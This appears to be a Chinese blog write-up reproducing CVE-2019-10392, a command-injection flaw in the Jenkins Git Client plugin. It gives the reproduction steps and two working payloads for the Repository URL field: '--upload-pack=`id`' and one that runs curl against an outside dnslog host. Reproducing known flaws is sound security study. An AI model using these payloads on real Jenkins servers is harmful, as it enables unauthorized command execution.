当前位置:   article > 正文

漏洞复现----1、Jenkins Git Client插件命令执行漏洞(CVE-2019-10392)_jenkins git plugin漏洞

jenkins git plugin漏洞


一、Jenkins简介

Jenkins是一个独立的开源自动化服务器,由JAVA开发。
可用于自动化各种任务,如构建,测试和部署软件;也可以根据设定持续定期编译,运行相应代码;运行UT或集成测试;将运行结果发送至邮件,或展示成报告等。
Jenkins可以通过本机系统包Docker安装,也可以通过安装Java Runtime Environment的任何机器独立运行。
在很多中大型金融企业中普遍使用Jenkins来作为项目发布工具。

Jenkins服务安全加固

Jenkins特点:
开源免费,多平台支持(windows/linux/macos);
主从分布式架构;
提供web可视化配置管理页面;
安装配置简单、插件资源丰富.
  • 1
  • 2
  • 3
  • 4
  • 5

二、漏洞简介

Git Client插件为Jenkins插件提供了git应用程序编程接口(API)。 它可以获取,签出,分支,列表,合并和标记存储库。Git Client接口提供git访问的主要入口点,它支持Jenkins凭据插件提供的用户名/密码凭据和私钥凭证。

该漏洞源于Git客户端插件接受用户指定的值作为调用git ls-remote的参数,以验证指定URL处是否存在Git存储库。 这是以允许具有Job/Configure权限的攻击者在Jenkins主服务器上执行任意系统命令作为Jenkins进程正在运行的OS用户的方式实现的。由于接收用户输入Repository URL而没有做过滤,导致了与git ls-remote命令拼接,执行了用户可控的命令。

影响版本
Git client Plugin <= 2.8.4
  • 1
  • 2

三、漏洞复现

登录后,创建一个新任务。构造一个自由风格的项目,然后点击确认提交。
在这里插入图片描述

在源码管理处选择git,然后在Repositories功能的Repository URL插入我们payload,将要执行的命令包含在upload-pack选项中。

--upload-pack=`id`  //反引号
  • 1

在这里插入图片描述

--upload-pack=`curl 4y6heb.dnslog.cn`
  • 1

在这里插入图片描述

在这里插入图片描述


参考链接:
https://mp.weixin.qq.com/s/Axx7KYm9irAQv7ZIO8autg

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/663366
推荐阅读
相关标签
  

闽ICP备14008679号